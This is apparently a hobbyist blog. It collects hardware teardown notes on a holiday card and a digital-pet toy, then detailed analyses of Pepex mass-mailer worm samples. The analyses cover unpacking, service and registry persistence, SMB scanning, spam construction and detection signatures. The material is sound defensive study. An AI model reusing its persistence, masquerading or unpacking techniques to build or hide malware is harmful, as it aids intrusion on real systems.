Happy Howlidays (hur hur)

For my next project I thought I’d try to keep it simple and check out a holiday card I received (as I found out, it’s probably a better idea for me to look at more complicated devices…).

This card has a button in the top left that plays “Jingle Bells” using barks (Figure 1):

Figure 1: Overview of the card

Once you open the card, you can see the rough outline of where some of the internals are — I tried to outline it a bit with a pencil (Figure 2):

Figure 2: Inside the card

Carefully opening this up with a razor blade, we see a small motor, a button, a speaker, and the board it’s all hooked up to (Figure 3):

Figure 3: Card components

The small board is laid out pretty nicely, actually — pretty much everything was labelled:

Figure 4: Main board

My main issue at this point is that since this is such a cheap piece of hardware (kind of crazy to think that this entire thing is meant to be disposable, basically) it’s another chip-on-board based system:

Figure 5: Chip on board close-up

Looking at this and the rest of the board, I was able to find what appear to be be 8 pins — V0, V1, P1, P2, SDA, SCL, VSS, and one that’s a bit too obscured by the packaging material to be read. Trying to search for 8-pin microcontrollers or ICs isn’t really getting me anywhere. Seeing that there’s just SCL and SDA, I’m thinking maybe it’s I2C, so I tried hooking up the logic analyzer and seeing what comes out when the button is pressed. I managed to capture some output coming from the chip towards the speaker as well as the SCL activity, but nothing really too interesting for me at this point. I think I’m going to move on and try to look at something with a bit more stuff on it for me to look at — like maybe some actual ROMs I could dump. I thought I’d be getting a better start by looking at these really simple things, but I think that they’re a bit too simple for me to get much out of it at this point.

A Weapon To Surpass Metal Gear

I took a class on hardware RE back in June 2019, and it took me until now to actually get some basic equipment together (like a power supply, microscope, etc.) and start trying to do some on my own. I have a few devices kicking around (mostly leftover parts from things in the house) but I also went to some liquidator stores and bought whatever looked like the most crap electronics I could find.

I found something at one store that I can only describe as a “Tamagochi / Pokemon rip-off” that didn’t cost much so I added it to my purchases. I’m not going to include full details like the packaging and company name, but I’ll include my notes up until this point. I tried to be structured and careful about how I went about studying this thing as practice for other devices. I’ll say up front that I didn’t get very far, though I felt like overall it was a good learning experience.

Basically, the idea of this device is that you create a digital pet (choose from 160 breeds!) who lives in the device and eats and takes dumps and what not (unless it got constipated, which apparently is a feature supported by this device according to the instructions — you can deploy laxatives if this happens).

Figure 1: Front of the device

It’s about 2″x2″x0.75″, with a small LCD screen (I think?) that’s about 2cm square in the middle (almost 1″). Five buttons on the front, including a “reset” button which makes me think about what’s actually inside. It’s supposed to keep track of your pet over time, so it must have some way to save the current state, and I’m guessing the reset function just wipes that away? It also keeps track of the time, which is user entered upon first use.

Figure 2: Rear of the device

It’s held together in the back by three regular screws, plus one more that just keeps the battery case in place. It takes two LR44 batteries in parallel (I think — first, they look parallel and I’m not seeing anything to suggest they are in series, plus using a multimeter shows around 1.5v in the circuit, so I’m thinking that should indicate it’s parallel). No markings on the case or packaging to indicate something I could follow up on (like an FCC ID or something, though I do see that it has the CE marking in the plastic case).

Figure 3: Inside the case

Taking the case off reveals another four screws holding the circuit board in place, as well as what appears to be a rudimentary speaker (all it seems to do is beep, such as when a button is pressed or at power on).

Figure 4: Front, screen still in place

After removing the board and turning it around, you can see that basically it’s dominated by the screen and then by contacts for the buttons. The screen is actually pretty interesting to me — it’s very simple, and isn’t even connected to anything. It just lays on top of a series of connections to 33 pins (16 on top, 17 on the bottom) with what appears to be foam rubber. I figure that removing the screen must reveal the real inner workings of this thing.

Figure 5: Front of the board, possible COB in view

Uh… yeah. Not sure what’s in there, but I’m guessing a chip on board of some kind? Removing the screen also revealed some markings, “K-1459” and “16.12.02”, maybe a model number and production date?

Besides the buttons, speaker, and power (the batteries are connected via those two large blobs of solder to the right of the epoxy), I noticed a tiny SMD component of some kind off to the right:

Figure 6: Location and close-up of SMD component on board

Not sure what this is — a resistor? No markings either, and I didn’t try anything with the multimeter. I soldered a couple of wires to where the batteries hook up, then tried seeing what I could see at various connectors on the board (trying to find a ground and anything else). I wasn’t being too systematic at this point as I was running out of steam, but I also didn’t find anything that looked too obvious as an interesting connection. I noticed that the pins that lead to the screen all were around 0.75v when I tested them, and otherwise I was pretty much always seeing around 1.5v from everywhere else (same result that I got when I had it running on batteries as designed).

I was thinking that I need to get rid of the epoxy to try to figure out what’s under there, but I think it’s probably likely to be a COB and not just a packaged IC that’s under epoxy to help prevent disassembly. If I take the epoxy off of a COB, I’m almost certainty going to destroy it since I’ll be doing it with hot air and something metal, so I don’t really want to go that route. I even tried holding the board in front of a VERY bright light (1200 lumens) and while it lit up the board itself quite nicely, it still wasn’t enough to get through the epoxy. Next time I pick this one up I’ll try to see if I can figure out what might be a 40-pin 1.5v IC in there based on the manufacturer’s site and also maybe I can try to find a pin I can use to see what’s on the IC. I might also be able to think more carefully about where each pin is going and try to see what I can find based on that.

Oh yeah, before I forget:

Working Pepex Followup

I tried working on unpacking the file found in the .rsrc section of the Pepex variant that I analyzed, and had mixed results. I first tried a couple of things like simply looking for a far jump in a disassembly (like with UPX), which didn’t work. I can’t say I’m too surprised, but I figured I would give it a try. I tried running the original malware and then patching the code to force the branch where the file is loaded and executed, but the file that drops is just the packed file from .rsrc (in this case, dropped as %system%\system32\LSASvc.exe).

Next I tried putting breakpoints on Kernel32.LoadLibraryA and Kernel32.LoadLibraryW which showed that a couple of libraries were loaded (GDI32 and imm32). However, the binary keeps failing shortly after the calls to GetProcAddress for various functions from imm32 and GDI32 complete. I notice a string on the stack that says:


So, it clearly knows it’s being messed with. Not sure if this had something to do with what I was trying to do in the debugger, or if it just didn’t like being taken out of the .rsrc section of the overall malware.

Some online tutorials suggest doing something like this:

1) find the PUSH EAX instruction following the PUSHFW and PUSHAD instructions
2) follow what’s in ESP
3) find the string 46 02 C4 FF:


4) set a hardware breakpoint (on access, word) for that string
5) Run program, when BP is hit you should be close to OEP

Trying to follow this keeps resulting in exceptions/errors and crashes. However, a few lines below the original PUSH EAX instruction, I saw this:


I figured that I would just check out what is at 400000, and:


I see the 4D 5A magic numbers and then dumped from there. I ended up dumping the file three ways – used each of Olly’s methods of reconstructing the PE header, and then also without reconstructing it.

What I ended up with was a somewhat unpacked file from the .rsrc section and then the file from the .rsrc section that was created after patching the code to follow that branch (which is what I had originally gotten from the .rsrc section running Resource Hacker).

The unpacked file actually reveals many strings. I’ll go through some of what I find the most interesting, with the full set of strings at the end. First we see what appear to be pretty typical imports – Kernel32, User32, ADVAPI32, WS2_32 and some error message strings. Following this is the first block of function names. Some of the more interesting ones are:

VirtualAlloc, CreateThread, VirtualFree: These are some functions associated with process replacement. I’m not seeing others (such as ResumeThread, WriteProcessMemory, etc.) but perhaps I’m just not seeing them in this file because of the way it was unpacked. This is something to keep in mind as I take a look at what this executable does when run by the parent malware.

WriteFile, DeleteFileA, ReadFile, CopyFileA: I’m always happy to see these functions because it tells me there might be some obvious file system artifacts to look for, but it also makes me wonder if this file copies an existing, legitimate file somewhere else (such as a temp directory) and then does some sort of MiTM thing.

GetSystemDirectoryA, GetTempFileNameA, GetTempPathA: Related to the thoughts above regarding replacement of a legitimate file. I wonder if something happens like: 1) copy legitimate file to a temp path 2) replacement legitimate file with malicious file 3) malicious file receives input from system first before passing on to the legitimate file now residing in the temp directory so that nothing seems amiss.

FindFirstFileA, FindNextFileA: Looks like this thing will look for a specific file.

GetComputerNameA, GetVersionExA, GetDriveTypeA: Makes me think of some sort of system inventory.

CreateProcessA: Will be interesting to see what, if anything, this file creates with a call to this function.

CreateServiceA, StartServiceA: Another interesting clue that some of the other strings here might relate to a service name that this file uses when it creates a service with itself.

The smaller block of libraries and functions at the end just appears to be a repeat of what we’ve seen earlier. Below the large block of functions, we see an interesting set of strings:

Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
Microsoft LSA Logon Authorization Service
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>

Looks like the first two are some error messages specific to this sample. After that I’m going to guess that when this calls CreateServiceA and StartServiceA it calls itself LSAService/Microsoft LSA Logon Authorization Service. Next we see what appears to be some sort of system inventory creation text. I’m going to try to get this to run and see what happens dynamically.

Looking at the malware in the debugger, after the file is written from the .rsrc section, there is a call to CreateProcess with these parameters:


Stepping through the parameters with the help of MSDN:

pProcessInfo: Pointer to a PROCESS_INFORMATION struct that receives info about the new process. In this run this value happens to be 18FB44.

PstartupInfo: Pointer to a STARTUPINFO or STARTUPINFOEX struct. In this run this value is 18FB00. We also see this string:


CurrentDir: The path to the current directory for the process. In this run, it’s set to NULL, so the new process will have the same path as the calling process (which in our case would be c:\ma\lab\)

pEnvironment: NULL in our run, which means that the new process will use the environment of the calling process

CreationFlags: In our case this has been set to CREATE_NO_WINDOW (0x08000000). I’m going to change this to 0x00000010 (CREATE_NEW_CONSOLE) so we can see what it does:


InheritHandles: In our run, this is set to FALSE, so no handles are inherited from the main malware process.

pThreadSecurity: Set to NULL, so handles to the new thread cannot be inherited by child processes.

pProcessSecurity: Also NULL, so handles to the new process cannot be inherited by child processes.

CommandLine: The command line to be executed, which in our case is the string from above – C:\Windows\system32\lsasvc.exe -i (though on our system that’s the SysWOW64 directory since I’m running this on a Win7 VM). The -i argument is interesting. Maybe this means “-install”? I wonder if there is a corresponding -u or -r argument.

ModuleFileName: NULL, so “…the module name must be the first white space-delimited token in the lpCommandLine string…”, therefore lsasvc.exe.

After this, we see some MOVs that zero out some areas in ESP and then we see the parameters set up for the call to CreateProcessA – looks like how I want it:


Running this, however, didn’t produce a console. I was hoping that since the author went out of their way to set this as CREATE_NO_WINDOW, that perhaps I could change the CreationFlags to get something to appear. In discussing this with someone online (thanks Defunct), my current thought process is that since the parent isn’t run in its own console and since this child process should be getting the parent’s STARTUPINFO struct, that could be one reason why we aren’t “seeing” anything. The malware could also have been compiled to be a GUI app and not as a console app. Anyway…

Despite this, we do see some interesting things happen when the process is run. First, Regshot reveals the following changes in the registry:

Keys added: 2
Values added: 14
HKLM\SYSTEM\ControlSet001\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\ControlSet001\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\ControlSet001\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\ControlSet001\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
HKLM\SYSTEM\ControlSet001\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ObjectName: “LocalSystem”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
HKLM\SYSTEM\CurrentControlSet\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ObjectName: “LocalSystem”

Per MSDN, the service Type (0x00000010) is a Win32 program that can be started by the service controller. The Start type (0x00000002) indicates that it should automatically load at startup. This looks to be how this other file achieves some persistence and also stealth as it tries to masquerade as a legitimate-sounding service.

Process Explorer and Process Monitor let us observe that the call to CreateProcessA spawns an LSASvc.exe process (PID 1160) and then that process terminates with another LSASvc.exe process being created (PID 2816). This new process (2816) starts listening on port 186. This is pretty interesting, because the parent malware didn’t appear to have any C2 functionality, and this might indicate how the malware can be worked with remotely.

I tried to fix the dumped file with LordPE and ImpRec, but still had issues with the file so I’m probably going to leave it be, at least for now. There were some interesting things going on in this file, though, so I’ve updated the report from the last post and am including that here. Please let me know if you have any thoughts on any of this, particularly on unpacking Petite!

Updated Report (with additions in bold): MalEXE003-updated

Full Strings:

!This program cannot be run in DOS mode.
runtime error
TLOSS error
SING error
DOMAIN error
– unable to initialize heap
– not enough space for lowio initialization
– not enough space for stdio initialization
– pure virtual function call
– not enough space for _onexit/atexit table
– unable to open console device
– unexpected heap error
– unexpected multithread lock error
– not enough space for thread data
abnormal program termination
– not enough space for environment
– not enough space for arguments
– floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!

<program name unknown>
This file has been tampered with and
Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
Microsoft LSA Logon Authorization Service
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>
Corrupt Data!

New Pepex Variant (this one works)

I spent the morning sorting through samples from all the GRAB honeypots, and settled on a sample that happened to come in via the NYC honeypot. 50/53 detection ratio on VirusTotal, so let’s look into it in more depth.

Static Analysis

Running strings on the sample reveals only four strings that make any sense at all:


Looks packed to me, but not UPX like the last sample. PEiD identifies the packer as Upack 0.39 beta. I opened the file in PE Explorer and that automatically unpacked the malware (revealing many more strings than before), but I am going to take a shot at manually unpacking it anyway.

Upack is trickier than UPX, in my opinion. Opening the packed sample doesn’t show a clear jump to OEP, so I opened it in Olly and went to where the code for LoadLibraryA is found by pressing ctrl-G and then going to kernel32.LoadLibraryA, then set a breakpoint on the first instruction:


I watch the malware call LoadLibraryA seven times, ending with Mpr.dll, and then hitting run again causes it to run and not hit the breakpoint again. Restoring the VM snapshot, I go back to where Mpr.dll was called and then set another breakpoint on GetProcAddress, and then run through that five times until it appears that GetUserNameEx is the final function called with GetProcAddress before the rest of the program runs and the second breakpoint is no longer hit.

Stepping through the rest of that particular call to GetProcAddress and returning to the rest of the code, I’m ready to start stepping through the remains of the unpacking stub to get to the actual code entry point:


After following a few branches, I see what I believe to be the entry point:


This doesn’t look too typical for me in terms of address and code, but mainly what I was looking at here was a relatively long block of code compared with the branches I just looked at, plus starting at 756AA4E9 you can see what looks like it could be the start of a function with PUSH EBP | MOV EBP, ESP. Trying to dump that as an OEP didn’t really work – I did get something that I could disassemble and also do other analysis on, but this doesn’t seem to be the right place. Using OllyDump and its feature “Find OEP by Section Hop (Trace Over)” got me to this general area which looks much more promising:


Checking this against the automatically unpacked file, this is the entry point area. What’s sort of strange is that whether I dump this process from the other address above (756AA4E9) or the one right here (4023A0), I end up with basically the same dumped file and OllyDump can’t do anything with the import table. ImpRec doesn’t work either, and either way I’m left with something that doesn’t function but nevertheless offers a lot of interesting data statically or in disassembly. Since I was successful with the automated tool, I’m going to move on to static analysis of the unpacked sample that I obtained with PE Explorer.

Going through the meaningful strings from the unpacked malware, we now see a more normal set of sections:


I don’t typically see a .code section, but this must be the equivalent of the .text section containing the sample’s code. I also don’t usually see .idata, but this should have the import function info which I’m more accustomed to finding in the .rdata section. I’m guessing that something is contained in .rsrc, but we’ll get to that later.

I see some function names, and date/time strings, but then I see a very long list of three digit numbers (here’s just an excerpt):


I wonder if this is being used in some fashion to “construct” IP addresses. I notice that some of the “special” numbers like 239 and 255 are not included in this list, though if this is what it’s being used for, one would think you’d see numbers below 130 also. These could also be ports.

Below this, I see some interesting strings that remind me of some of the stuff revealed in my analysis of Pepex:


That SMTP server is an exact string from the Pepex sample I took apart previously. Those other addresses could make for some interesting signatures once we get to that point. After this, we see many strings of inexcusably horrendous passwords (crap like 1234, angel, password, passwd, BUMBLE, asdf, asdfgh, 4321, db2admin, and so on).

I see what looks like the framework for constructing an IP address dynamically:


Below that, something very interesting:

Subject: Hello
From: <
From: “Microsoft” <information@microsoft.com>
Reply-To: “Microsoft” <microsoft@microsoft.com>
Windows Genuine Update
Windows Update

This looks EXACTLY like some of the info pulled from Pepex. We see the same email addresses in use as in that other sample. The IP address points to Google. I’m starting to think that this is a Pepex variant, if it wasn’t already pretty clear. Strangely, the antivirus products weren’t too consistent in naming this sample when scanned, though I recall that one of them did identify it as Pepex. I wonder if that lsascv.exe file is what the sample uses to install itself and achieve some stealth, and the Windows Genuine Update string points to additional stealth / persistence methods.

Further on, we see:

Subject: %s|%s|%s

Again, something to keep in mind. This might do something with lsass because of lsass’ privilege levels and API access. Finally, that Subject: %s|%s|%s is the same string we saw in the other Pepex sample for constructing the spam subject line.

We see a bunch of OS names:

Unkown [sic]

I find it interesting that this is the same list as in the other Pepex sample, however Win7 is not here (which I wouldn’t expect from a sample created in 2004). Perhaps the reason why we had so many problems with the other sample was because someone tried updating the code and screwed up.

I see many imported function names, but I’ll look at those when I view the file in PEview, as it’s an easier interface. One final and very interesting set of strings:

!This program cannot be run in DOS mode.
Corrupt Data!

Looks like we have another file inside. I’m not sure what a .petite section is but it’s not a normal section like .text, .rsrc, .rdata, or others. Some weird error messages follow, so perhaps this is a packed file within the previously packed malware. After that I see a handful of process names and library imports, so I think we’ll need to continue digging to get to the bottom of this.

PEiD doesn’t detect and packers, under any settings. KANAL, however, detects a zlib deflate reference at 0000BE74 / 0040D474. Resource Hacker shows an obvious file stored in the resource section that is named “FILE”:


This file, however, is packed, using Petite 2.x:


KANAL also sees a reference to zlib in this file from the .rsrc section. Depending on how it goes analyzing this malware, I may look at this file in a follow-on analysis. Also, please see the following note from the readme file inclued with the current version of Petite, which is another reason why I’m probably going to tackle this in a subsequent analysis:

There is no Petite decompressor. So if it is not possible for you to
reinstall or recompile a file, then you should keep a backup of the
original incase[sic] you should want to go back to it at any time.

Opening the main malware file in PEview doesn’t reveal anything weird as far as some possible anti-debugging stuff – number of data directories is 0x10 and no TLS table. Imported libraries are Kernel32, User32, AdvApi32, and WS2_32. Here are some of the interesting things that can be seen as imported functions under each library:

RegOpen/CloseKeyExA, RegSetValueExA, Create/Open/Start/DeleteServiceA: Based on these imports and the prior work done on the other Pepex variant, I’m guessing that this is used to both achieve persistence and also start the malware as a service.

CopyFileA, WriteFile: I see a call to CopyFileA but not to DeleteFileA, so maybe this file makes a copy of itself and then deletes itself some other way when it installs. This also could mean that this file relocates some system file so that it can put itself in between the user and the legitimate file (maybe it gets in between lsass.exe, for instance). I suppose that one clue that this is not the case is that I don’t see any exports, but we still don’t know how the file from the .rsrc section functions yet. WriteFile is always good for looking for file system signatures.

WaitForSingleObject: perhaps this malware creates a mutex.

CreateProcessA: Always good for signatures, and also this means we’ll need to look out for child processes of this main malware process. Could possibly also be used to load drivers.

The interesting thing here is that I’m only seeing client-side functions imported (socket, connect, send, recv) but not server-side functions (like bind, listen, accept).

Dynamic Analysis

For the dynamic analysis, I ran and recorded the packed malware two times – once as a regular user, and once as an administrator.

Watching the run as a regular used showed a ton of activity taking place in Wireshark. RegShot didn’t reveal much going on. There was a UserAssist value added under HKU, but other than that, no other changes in the registry or file system that could be linked to the malware (speaking strictly from the RegShot perspective). Process Explorer revealed only the single malware process being created (PID 2576) but nothing else. It could be we missed other stuff happening in Process Explorer, so we’ll look at Process Monitor and other places too. I’m not seeing anything in Autoruns, so perhaps persistence wasn’t achieved.

Looking in Process Monitor, I see that the malware did not appear to spawn any child processes. The main things observed, some of which match up with the static analysis, include:

– reads the current version of Windows through HKLM
– many registry keys related to networking are queried
– the malware gets the computer name from the registry
– the malware creates 256 threads, and this is the final set of actions recorded by Process Monitor

I’m not seeing any files being written, or any registry entries being added or modified (values or keys). The Wireshark traffic is more interesting. In only a few minutes I could see a few tens of thousands of packets being sent out to apparently random IP addresses. Take a look at the protocols:


Basically all TCP. I didn’t see any addresses resolved, however endpoints revealed something interesting:


Thousands and thousands of lines of traffic on port 445, which is associated with SMB (which is where this sample came from on the honeypot, by the way). Looking over on the UDP tab of this window:


We see traffic on some broadcast IP addresses and on ports 137 and 138 which, for UDP, are associated with SMB also (NetBios API). There’s also traffic on port 1900, which is the UPnP port that we saw a lot of action on in the honeypot statistics.

Reviewing the recorded malware activity that was run as an administrator didn’t reveal any new or different behavior. The same activity both on the host and the network was observed.

I didn’t see any activity on the IP address we found in the strings of the malware ( I dumped the traffic from Wireshark and then ended up with 39,203 unique IP addresses from that. I did a little research into where these IP addresses were located, and with whatever whois data I was able to obtain, the vast majority of the IP addresses are in the USA with some falling outside the country:


Disassembly and Debugging

Opening the unpacked malware in Ida, the first thing we see the sample do (in winmain) is call WSAstartup, and then then there is a call to a sub at 4020E0 which imports some DLLs. The DLL names are obfuscated, and 4020E0 builds the imports in the same manner as the other Pepex variant. Following some branches, which I’m finding difficult to figure out just using Ida, we either move towards a “scanning” branch (which is the behavior that I’ve observed so far) or towards the installation branch. The installation branch begins with a call to 401950, which starts with loading the binary that is in the .rsrc section and then writing it as %SYSTEM%\lsasvc.exe, which makes for a nice file system signature:

Then, later on in this sub, we see the file being written and then a process being created from it.

The next sub that is called, 4018E0, sets up persistence for the newly installed malware by adding it to the registry (under the name “Windows Update”) to run at startup:


This also makes for a nice host signature under “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

Sub 401000 involves some calls to gethostbyname and then a loop that writes a series of IP address strings to a buffer. After this, we see a string being put in a buffer:


Then we see a call to GetVersion and then the system derives an OS name (one of the strings mentioned earlier such as “WinVista”) and this string is passed to the buffer also:


Following this, we see an email address being pushed onto the stack and then we get into some really interesting stuff beginning with a call to 401210:


Before getting into 401210, I’m going to take a quick look at the alternate branch that this sample seemed to follow when I ran it in my test environment. This is the branch that was taken at the conditional jump at 40243F which branched us away from the installation/system inventory/email generation branch and instead did the IP scanning and thread creation.

Going down this alternate branch results in a call to Sleep (for 100ms) and then an indirect call to sub 402C50. This is a somewhat large sub that generates IP addresses through a combination of calls to GetTickCount and generated random numbers. There is a loop related to thread creation, and we can see where the condition jump is put in place in order to create the 256 threads we observed during the dynamic analysis:


Note that I displayed the number in base 10 for clarity.

Also within this overall thread creation/scanning sub, there is a call to a fairly deep branch called sub 402840. This sub begins with establishing some network connectivity and then calls another sub, 401F20. This sub contains several indirect calls (annoying). I see something being done with the string “administrator” so it’s possible that this is some sub that either logs into an account somewhere (or tries to do so). We do see a call to sub 401AE0, though. This sub makes a reference to IPC, and then appears to send system inventory information to the wbInfo0801@gmail.com address:


Then after that we can see stuff being done with lsass.exe (notice also the hard coded directory of \winnt\ rather than an environment variable). Here are another couple of examples of hard-coded directory references:


After setting up with these paths, we see a call to 401800. Here we see the malware being set up and started as a service:


Windows Genuine Update” and “Wupdate” are nice signatures to be aware of.

Going back to the large branch, where we really get into the heart of this thing, sub 401210 begins with a connection to and then a check of connectivity. If we get past that, then the malware starts to build a set of SMTP commands:


This gets sent, and then checked for errors again:


If at any time we have an error, the sub will exit. Next we see more SMTP commands being built, this one showing that this mail is from john@barrysworld.com:


Continuing through the code, we see where the recipient email address is passed via SMTP, and then we see where the malware starts to build out the area for the body of the email:


After this, we get to an area that I’m not sure I fully understand:


What it looks like is happening here, is that the string “john@barrysworld.com” is pushed onto the stack twice, and then these two strings are compared with a call to strcmpi (which is deprecated according to MSDN). Then, there is a conditional jump based on this comparison – If the strings are the same, then the function should return 0 and therefore this conditional jump should always be followed in this instance, which would take us down the branch on the left. If anyone out there has a better understanding of what is going on here, please let me know, as it appears that we have a situation where there’s a condition jump that is never followed. In any case, on the left branch, we see some more signatures that were common with the other Pepex variant analyzed (microsoft@microsoft.com, information@microsoft.com).

At the end, we see the wrap up of the SMTP traffic and the return:


At this point, I’m done looking at this sample. As we’ve seen, it’s closely related to a prior sample, except that this one actually seems to work so we were able to observe more functionality. I might take a look into manually unpacking the file in the resource section since this is a packer that is new to me and this might make for an interesting analysis.

Findings and observations:
Mass-mailer worm. Similar to the prior sample analyzed, which I believe was derived from this new sample as this sample did not appear to have the execution issues observed previously. Sample appears to both scan new IP addresses, both for remote and local systems, probably with the intent of spreadnig itself. It also contains functionality around reporting system inventory and sending spam messages.

– Block ports 445, 137, and 138 as this is where this sample was obtained and this sample was observed connecting to remote and local systems on these ports
– Usual recommendations against opening unsolicited mail (especially with attachments)
– Filter email associated with “microsoft@microsoft.com”, “information@microsoft.com”, and “john@barrysworld.com”, “ wbInfo0801@gmail.com”, “wbInfo0802@gmail.com

Interesting, old malware. It was good to see this worm running successfully so as to get a better opportunity to view its capabilities.



Manually Unpacked:

Automatically Unpacked:


New sample in from the NYC honeypot – 50/54 detections on Virustotal, so let’s take a look.pepex1

UPX is a popular packer used more for compression than security. Packing the malware does obfuscate it, but typically UPX isn’t very hard to figure out compared with certain other packers. We can actually see some stuff “leaking” through the packing:


At the end we see a tiny number of function names, along with .dlls such as WS2_32.dll and others. Along the way I saw bit and pieces of a string that suggest that this malware might construct emails, so maybe this malware is spam-focused.

PEiD confirms this, and also gives us some other info like the entrypoint:


There are various ways you can approach unpacking. Something like UPX can probably be unpacked with an automated tool (which I actually end up doing later on in this analysis), but I actually like unpacking things manually. One thing you can do is open the file in IDA and see if there are any “far” jumps within the code, as this is probably the start of the unpacked code. In this sample, the entry point of the malware was at 4098A0, but a little bit down from there at 409A2C I see this:


Sort of strange to see a jump to a place relatively far away from where we are now. I opened this in Olly and set a memory breakpoint (on access) at 404C50. After this breakpoint was hit the first time and I noticed that code started to appear where there was previously just meaningless data, I set a regular breakpoint and then came back to this area once that was hit:

pepex5I’m using a plugin called Ollydump to dump the unpacked process:


We still see some of the same UPX-related junk in the beginning, but looking through the strings, we start to see some really interesting (and unobfuscated) stuff:


Now we can really take a look through this thing.

Static Analysis

Running strings on the unpacked sample, one of the first things we come across are what appear to be really bad password choices:


There are some that on first glance appear like they might be not completely horrible choices like “baseball”, but those that look like they might be OK are actually just some silly keyboard patterns, such as “qazwsxedc” which is just the first three alphabetic columns on the left side of an English keyboard. Moving on through the strings, we start to see a few more interesting things such as what appears to be the construction of an IP address and what might be a name given to this process in case it’s run as a service:


Few more pages in, we see some SMTP commands and some strings that look like they are part of an email to make it seem more legitimate, as well as some specific IP addresses:


Going through function names revealed by strings and by PEview reveals some interesting info about how this sample likely operates (meaning, until I observe the sample I can’t just assume that this is definitely what it does regardless of what functions are mentioned or imported):

– I see several functions around opening/copying/deleting files as well as functions related to the temp file path. I always like to see these because it implies that there is going to be some file system change taking place that can be used to both construct a signature and also identify the malware objectives. One string recovered was “Isass.exe” which is supposed to mimic “lsass.exe” – perhaps this sample copies itself somewhere as “Isass.exe” as a stealth measure.
– WaitForSingleObject appears to be called, so there might be a mutex created by this malware that could also form a signature.
– I see multiple functions related to services such as OpenService, CreateService, StartService, DeleteService, that suggest that this might be how the malware achieves persistence and stealth. I saw a few strings earlier that might make for good fake service names to blend in with other, legitimate services running on the host.
– There is an import of WS2_32.dll and several functions such as connect, socket, listen, bind, send/recv, gethostbyname,WSAstartup, inet_addr and so on that suggest that 1) there is a networking component to this malware and 2) since this is a lower-level networking dll, there will probably be some fabrication of traffic info (such as header info) to make the malware traffic blend in better with legitimate traffic, which also helps us identify network signatures (particularly in the case of poorly-written fake headers).

PEview reveals nothing unusual in terms of possible anti-debugging steps (i.e., number of data directories looks fine, no TLS). KANAL detects no known crypto signatures. I saw strings that look like a “normal” set of sections (.text, .data, .rdata, .rsrc) but Resource Hacker wasn’t finding anything. I might try to mess around with this later to rename the sections in the unpacked header, but for now I’m just taking note of this in case it’s useful later.

Dynamic Analysis

I tried running this sample multiple times, as a regular user and as administrator, both with a simulated Internet connection and on a real one, but absolutely nothing appeared to happen. The packed sample ran and then exited, while the unpacked sample crashed shortly after execution.

Nothing interesting is coming up in Wireshark, process explorer, autoruns, or anything else. The process monitor data basically shows the malware process being created, some registry lookups (nothing obviously interesting there either), some libraries being loaded, and then the malware terminates.

I’ve seen strings that suggest that this malware could run on various versions of Windows, including Windows 7 which is what I’m running in the analysis VM. Perhaps there is an issue with the Windows environment, but at this point I think that there must be some issue with the malware not liking VirtualBox. I’m going to have to look through it in the disassembly and the debugger to see what seems to be preventing this sample from fully executing.

Before doing this, I tried a couple of other things. One was I ran the unpacked sample through Import Reconstructor (ImpRec) to see if maybe there was just an issue with the way the import table was set following the unpacking.


This didn’t help, the sample still crashes. During a quick glance through the disassembly, and during debugging, I didn’t notice anything checking for artifacts left over from VirtualBox or VMware, but even so I tried terminating all VirtualBox related functions and then rerunning the sample, but it didn’t help. It’s possible that this is just a poorly formed piece of malware that isn’t working right in my environment, but that seems too simple of an explanation, so I need to dig into the disassembly more.

Disassembly and Debugging

Basically what’s observed when debugging is that this sample almost immediately starts to encounter exceptions. My feeling is that this isn’t simply an anti-debugging / anti-analysis technique in place. There absolutely are some things that look suspicious when I run the sample in the debugger (for example, a call to NtRaiseException followed by INT 3, or there MIGHT be something going on with the PEB structure beginning at fs:[30]), but the thing is that this sample doesn’t seem to function at all outside of the debugger either. The unpacked version crashes shortly after execution, and the packed version runs some innocuous functions and then terminates. I see many exceptions taking place, but nothing that appears to look for a VM (either VMware, VirtualBox, or another). I looked through all of the process monitor results to see if the malware checked:

– user/computer name (it checked the username, but this would not indicate a VM)
– registry keys/values (it did check some, but nothing checked would indicate a VM)
– Files/directories associated with VirtualBox or Vms

Nothing was apparent. I checked the unpacked disassembly for:
– CPU instructions (sidt, sgdt, sldt, smsw, str, in, cpuid)
– Timing instructions (rdtsc, GetTickCount, QueryPerformanceCounter)
– GetTickCount is actually seen many times but not in an anti-debugging context
– Checks on running processes, services, or mutexes
– Hardware info checks
– OS info checks (it checks for the Windows version but nothing that would indicate a VM)
– Checks for INT 3 or others such as 0xCD03 (there is a line where 0CCh is moved into AL, but this is part of a coding sub, and not related to anti-debugging)

I’m just not seeing anything that indicates that this thing is checking for a VM or a debugger. One thing I did notice however, was that there seems to be an issue in the code between the packed and unpacked versions of the malware:

Packed location 404C50:


Unpacked location 404C50:


The OR DWORD PTR DS: [EBX+68FF6AEC], 004051C8 instruction doesn’t make sense and immediately starts causing exceptions, which then seems to send the unpacked version into a tailspin. I’ll use the unpacked version just for disassembly, but will continue trying to debug the packed version.

I eventually got UPX and used it to automatically unpack the sample, and the unpacked version is much cleaner than what I had dumped manually. There is a section at 404C50 that pretty much matches exactly what we can see at the RCE Endeavors blog as something that sets a new exception handler which would allow for sneaky code execution. I feel like there has to be something there. Looking at the code that was unpacked by the malware again:


